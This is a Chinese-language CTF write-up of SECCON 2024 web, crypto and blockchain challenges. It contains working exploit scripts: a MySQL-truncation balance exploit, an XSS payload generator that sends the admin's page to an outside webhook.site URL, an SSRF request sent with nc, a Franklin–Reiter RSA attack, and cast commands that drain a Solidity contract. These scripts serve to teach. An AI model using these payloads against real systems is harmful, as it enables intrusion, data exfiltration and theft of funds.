--- title: SECCON CTF 2024 紀錄 date: 2024-12-01 13:51:00 tags: - CTF - SECCON - Web Security - Cryptography - web3 - blockchain - SSRF - nodejs - Franklin–Reiter Attack --- ## Before all 這場那時候忘記在模考還是段考,反正沒打到QwQ 回來補一下題,學到好多新東西,挖庫挖庫!!! ## Web ### Trillion Bank 這題的服務主要是一個簡單的銀行,初始只給你10塊,你要把它變成`1_000_000_000_000`元 考點是MySQL一個特性,TEXT資料最大值為65535,[Reference(link)](https://www.atlassian.com/data/databases/understanding-strorage-sizes-for-mysql-text-data-types) **Source Code** ```js import fastify from "fastify"; import crypto from "node:crypto"; import fs from "node:fs/promises"; import db from "./db.js"; const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1); const TRILLION = 1_000_000_000_000; const app = fastify(); app.register(await import("@fastify/jwt"), { secret: crypto.randomBytes(32), cookie: { cookieName: "session" }, }); app.register(await import("@fastify/cookie")); const names = new Set(); const auth = async (req, res) => { try { await req.jwtVerify(); } catch { return res.status(401).send({ msg: "Unauthorized" }); } }; app.post("/api/register", async (req, res) => { const name = String(req.body.name); if (!/^[a-z0-9]+$/.test(name)) { res.status(400).send({ msg: "Invalid name" }); return; } if (names.has(name)) { res.status(400).send({ msg: "Already exists" }); return; } names.add(name); const [result] = await db.query("INSERT INTO users SET ?", { name, balance: 10, }); res .setCookie("session", await res.jwtSign({ id: result.insertId })) .send({ msg: "Succeeded" }); }); app.get("/api/me", { onRequest: auth }, async (req, res) => { try { const [{ 0: { balance } }] = await db.query("SELECT * FROM users WHERE id = ?", [req.user.id]); req.user.balance = balance; } catch (err) { return res.status(500).send({ msg: err.message }); } if (req.user.balance >= TRILLION) { req.user.flag = FLAG; // 💰 } res.send(req.user); }); app.post("/api/transfer", { onRequest: auth }, async (req, res) => { const recipientName = String(req.body.recipientName); if (!names.has(recipientName)) { res.status(404).send({ msg: "Not found" }); return; } const [{ 0: { id } }] = await db.query("SELECT * FROM users WHERE name = ?", [recipientName]); if (id === req.user.id) { res.status(400).send({ msg: "Self-transfer is not allowed" }); return; } const amount = parseInt(req.body.amount); if (!isFinite(amount) || amount <= 0) { res.status(400).send({ msg: "Invalid amount" }); return; } const conn = await db.getConnection(); try { await conn.beginTransaction(); const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [ req.user.id, ]); if (amount > balance) { throw new Error("Invalid amount"); } await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [ amount, req.user.id, ]); await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [ amount, recipientName, ]); await conn.commit(); } catch (err) { await conn.rollback(); return res.status(500).send({ msg: err.message }); } finally { db.releaseConnection(conn); } res.send({ msg: "Succeeded" }); }); app.get("/", async (req, res) => { const html = await fs.readFile("index.html"); res.type("text/html; charset=utf-8").send(html); }); app.listen({ port: 3000, host: "0.0.0.0" }); ``` 判斷名字在不在是在服務寫個Set: ```js const names = new Set(); ``` 根據MySQL TEXT大小限制,如果註冊兩個user `a*65535+b` 及 `a*65535+c`,將導致MySQL塞進去的名字一樣是`a*65535`,又bypass js限制 利用這兩行不一致: ```js await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [ amount, req.user.id, ]); await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [ amount, recipientName, ]); ``` 利用前面的特性註冊大約40的users,每次都分錢給`a*65535`,就會發生大家的錢集體翻倍這件事,超酷w **Exploit** ```py import requests as req base_url='http://trillion.seccon.games:3000' creds=[] def login(name): web = req.post(base_url+'/api/register', json={"name":name}) cookie = web.headers.get('set-cookie') # print(web.text) print(f"[*] Got Cookie: {cookie.split(';')[0].split('=')}") return {cookie.split(';')[0].split('=')[0]:cookie.split(';')[0].split('=')[1]} def transfer(cookie, amount): web=req.get(base_url+'/api/me', cookies=cookie) print(f"[*] Status: {web.text}") web=req.post(base_url+'/api/transfer', json={"recipientName":'q'*65535,"amount":str(amount)}, cookies=cookie) print(f"[*] Response: {web.text}") def win(): web=req.get(base_url+'/api/me', cookies=creds[-1]) print(f"[*] FLAG: {web.text}") for i in range(40): creds.append(login('q'*(65535+i))) for i in range(39, 0, -1): transfer(creds[i], 10*2**(39-i)) win() ``` ![image](https://hackmd.io/_uploads/r1NAtiKQyl.png) > Flag: SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000} ### Tanuki Udon 一個markdown網頁,admin會在自己介面建立一個flag的文章 **markdown.js** ```js const escapeHtml = (content) => { return content .replaceAll('&', '&amp;') .replaceAll(`"`, '&quot;') .replaceAll(`'`, '&#39;') .replaceAll('<', '&lt;') .replaceAll('>', '&gt;'); } const markdown = (content) => { const escaped = escapeHtml(content); return escaped .replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`) .replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`) .replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`) .replace(/ $/mg, `<br>`); } module.exports = markdown; ``` 想要直接注入感覺是不可能了,但注意到它依序replace的行為: 構造`![[whale](meow)](test_url)`得到的會長這樣: ```html <img alt="<a href="test_url">whale" src="meow"></img></a> ``` 調用兩次replace就可以嵌入雙引號,test_url的地方幾乎是任意注入 受限於前面escapeHTML,我使用src, onerror的方法串payload,js的程式無法注入括號(會出問題,一樣跟replace行為有關),`location=`,然後拿反引號取代引號... PoC一下: ```markdown ![[whale](meow)]( src=x onerror=location=`javascript:alert\x281\x29` ) ``` 要有空格,不然js會把後面的東西一併吃進去 **Generator** ```py payload="javascript:fetch('/').then(r=>r.text()).then(r=>fetch('https://webhook.site/f4ea2c93-700e-4ec6-b459-a54cbe543b7d', {method: 'POST', body:r}))" payload=payload.replace('(', '\\x28').replace(')', '\\x29').replace("'",'\\x27').replace('>','\\x3e') print(payload) ``` 生payload的腳本,有些字元要用`\x27`之類的hex換掉 ![image](https://hackmd.io/_uploads/B1XdhotQ1l.png) 拿到後開心跳flag ![image](https://hackmd.io/_uploads/BkyY3iKQkx.png) > Flag: SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon} P.S.聽說是unintended,之後再來想spec rule的跳法 ### self-ssrf 開個free SSRF,但有限制一些內容,`app.use`開了個全局規則 **Source Code** ```js import express from "express"; const PORT = 3000; const LOCALHOST = new URL(`http://localhost:${PORT}`); const FLAG = Bun.env.FLAG!!; const app = express(); app.use("/", (req, res, next) => { if (req.query.flag === undefined) { const path = "/flag?flag=guess_the_flag"; res.send(`Go to <a href="${path}">${path}</a>`); } else next(); }); app.get("/flag", (req, res) => { res.send( req.query.flag === FLAG // Guess the flag ? `Congratz! The flag is '${FLAG}'.` : `<marquee>🚩🚩🚩</marquee>` ); }); app.get("/ssrf", async (req, res) => { try { const url = new URL(req.url, LOCALHOST); if (url.hostname !== LOCALHOST.hostname) { res.send("Try harder 1"); return; } if (url.protocol !== LOCALHOST.protocol) { res.send("Try harder 2"); return; } url.pathname = "/flag"; url.searchParams.append("flag", FLAG); res.send(await fetch(url).then((r) => r.text())); } catch { res.status(500).send(":("); } }); app.listen(PORT); ``` 攻擊手法是利用預設的URL不吃`MEOW[a]=1&MEOW[b]=2`的query寫法,但express代的req.query是用querystring(qs)庫,他會吃的不一致性使得express認為有flag參數(才能過`/`的全局規則),但url會去新增一個真正的flag參數。 **References:** 1. [https://github.com/nodejs/node/blob/main/doc/api/url.md#new-urlsearchparamsobj](https://github.com/nodejs/node/blob/main/doc/api/url.md#new-urlsearchparamsobj) 2. [https://github.com/nodejs/node/blob/main/doc/api/querystring.md#querystringstringifyobj-sep-eq-options](https://github.com/nodejs/node/blob/main/doc/api/querystring.md#querystringstringifyobj-sep-eq-options) 想想看,如果用`?flag[=]=`,在URL parse的時候會吃到`'flag['`是`']='`,可是qs庫會認定是`flag[=]`值為空,最後接上&flag=<真的flag>就可以真的拿到flagㄌ ![image](https://hackmd.io/_uploads/HJktmx57Jg.png) 像這樣,searchParams傳出去會把他url encode 最後就直接以nc建連線,GET下去SSRF **Payload** ```bash printf 'GET http://localhost:3000/ssrf?flag[=]= HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc self-ssrf.seccon.games 3000 ``` ![image](https://hackmd.io/_uploads/ryNrbnK71g.png) > FLAG: SECCON{Which_whit3space_did_you_u5e?} ## Crypto 有點累所以只看一個數學題,其他Crypto之後會看💤 ### reiwa_rot13 **Source Code** ```py from Crypto.Util.number import * import codecs import string import random import hashlib from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from flag import flag p = getStrongPrime(512) q = getStrongPrime(512) n = p*q e = 137 key = ''.join(random.sample(string.ascii_lowercase, 10)) rot13_key = codecs.encode(key, 'rot13') key = key.encode() rot13_key = rot13_key.encode() print("n =", n) print("e =", e) print("c1 =", pow(bytes_to_long(key), e, n)) print("c2 =", pow(bytes_to_long(rot13_key), e, n)) key = hashlib.sha256(key).digest() cipher = AES.new(key, AES.MODE_ECB) print("encyprted_flag = ", cipher.encrypt(flag)) ``` 注意到rot13的轉換可以當作某種線性變換,就變成已知明文加密及線性後的明文加密 先分別位元枚舉,就可以進行[Franklin–Reiter Attack(link)](https://wha13.github.io/2024/02/25/coppersmith/#Franklin%E2%80%93Reiter-Attack)ㄌ~ **Exploit** ```py from Crypto.Util.number import * from Crypto.Cipher import AES import hashlib n = 105270965659728963158005445847489568338624133794432049687688451306125971661031124713900002127418051522303660944175125387034394970179832138699578691141567745433869339567075081508781037210053642143165403433797282755555668756795483577896703080883972479419729546081868838801222887486792028810888791562604036658927 e = 137 c1 = 16725879353360743225730316963034204726319861040005120594887234855326369831320755783193769090051590949825166249781272646922803585636193915974651774390260491016720214140633640783231543045598365485211028668510203305809438787364463227009966174262553328694926283315238194084123468757122106412580182773221207234679 c2 = 54707765286024193032187360617061494734604811486186903189763791054142827180860557148652470696909890077875431762633703093692649645204708548602818564932535214931099060428833400560189627416590019522535730804324469881327808667775412214400027813470331712844449900828912439270590227229668374597433444897899112329233 encyprted_flag = b"\xdb'\x0bL\x0f\xca\x16\xf5\x17>\xad\xfc\xe2\x10$(DVsDS~\xd3v\xe2\x86T\xb1{xL\xe53s\x90\x14\xfd\xe7\xdb\xddf\x1fx\xa3\xfc3\xcb\xb5~\x01\x9c\x91w\xa6\x03\x80&\xdb\x19xu\xedh\xe4" def attack(c1, c2, a, b, e, n): P = PolynomialRing(Zmod(n), names=('x',)); (x,) = P._first_ngens(1) g1 = x^e - c1 g2 = (a*x+b)^e - c2 g2 = g2.monic() def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0] def decrypt(key): key = hashlib.sha256(key).digest() cipher = AES.new(key, AES.MODE_ECB) print(cipher.decrypt(encyprted_flag)) for i in range(2**10): cur=0 for b in bin(i)[2:].rjust(10, '0'): cur*=256 if b=='0': cur+=13 else: cur-=13 res=attack(c1, c2, 1, cur, e, n) if len(long_to_bytes(int(res)))==10: key=long_to_bytes(int(res)) decrypt(key) ``` > Flag: SECCON{Vim_has_a_command_to_do_rot13._g?_is_possible_to_do_so!!} ## blockchain ### Trillion Ether 任務是把合約所有錢領走 **TrillionEther.sol** ```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.28; contract TrillionEther { struct Wallet { bytes32 name; uint256 balance; address owner; } Wallet[] public wallets; constructor() payable { require(msg.value == 1_000_000_000_000 ether); } function isSolved() external view returns (bool) { return address(this).balance == 0; } function createWallet(bytes32 name) external payable { wallets.push(_newWallet(name, msg.value, msg.sender)); } function transfer(uint256 fromWalletId, uint256 toWalletId, uint256 amount) external { require(wallets[fromWalletId].owner == msg.sender, "not owner"); wallets[fromWalletId].balance -= amount; wallets[toWalletId].balance += amount; } function withdraw(uint256 walletId, uint256 amount) external { require(wallets[walletId].owner == msg.sender, "not owner"); wallets[walletId].balance -= amount; payable(wallets[walletId].owner).transfer(amount); } function _newWallet(bytes32 name, uint256 balance, address owner) internal returns (Wallet storage wallet) { wallet = wallet; wallet.name = name; wallet.balance = balance; wallet.owner = owner; } } ``` 看得出來是一個Wallet的服務,有個wallets的動態陣列,主要的漏洞出在這一行(\_newWallet): ``` wallet = wallet; ``` 這邊wallet尚未被定義,所以會變成一個空指針被冠上Wallet的struct,所以第一個name會寫到slot[0],這也是紀錄wallets當前大小的地方 試一下會發現如果送出一個正常的name,再去看wallet[0]的值會發現沒東西,因為寫入時寫到wallet[name]的地方 ```bash cast call $target "wallets(uint256)(bytes32,uint256,address)" 0 --rpc-url $rpc_url ``` 所以一開始name要送0x0出去,才能把內容正常化(owner屬性存在) 接下來就是interger overflow,送出`0x5555555555555555555555555555555555555555555555555555555555555555`做為第二次的name,這時候在slot上會嘗試往wallet_base+0x5...5\*3 % (2^256)的地方寫入(因為slot大小極限&這個struct算一下就會發現三個變數各佔一個slot) 而選擇0x5...5\是因為乘以3以後正好就是-1 % (2^256),這時候就會從 wallet_base - 1開始寫,導致owner的值寫到剛剛wallet[0]的balance上,balance寫到它的name上,最終只需withdraw所有錢回來就好w **Exploit** ~~這邊懶惰直接用foundry tool的cast殺下去~~ ```bash cast send $target "createWallet(bytes32)" 0x0000000000000000000000000000000000000000000000000000000000000000 --private-key $secret --rpc-url $rpc_url cast send $target "createWallet(bytes32)" 0x5555555555555555555555555555555555555555555555555555555555555555 --private-key $secret --rpc-url $rpc_url cast send $target "withdraw(uint256, uint256)" 0 1000000000000000000000000000000 --private-key $secret --rpc-url $rpc_url ```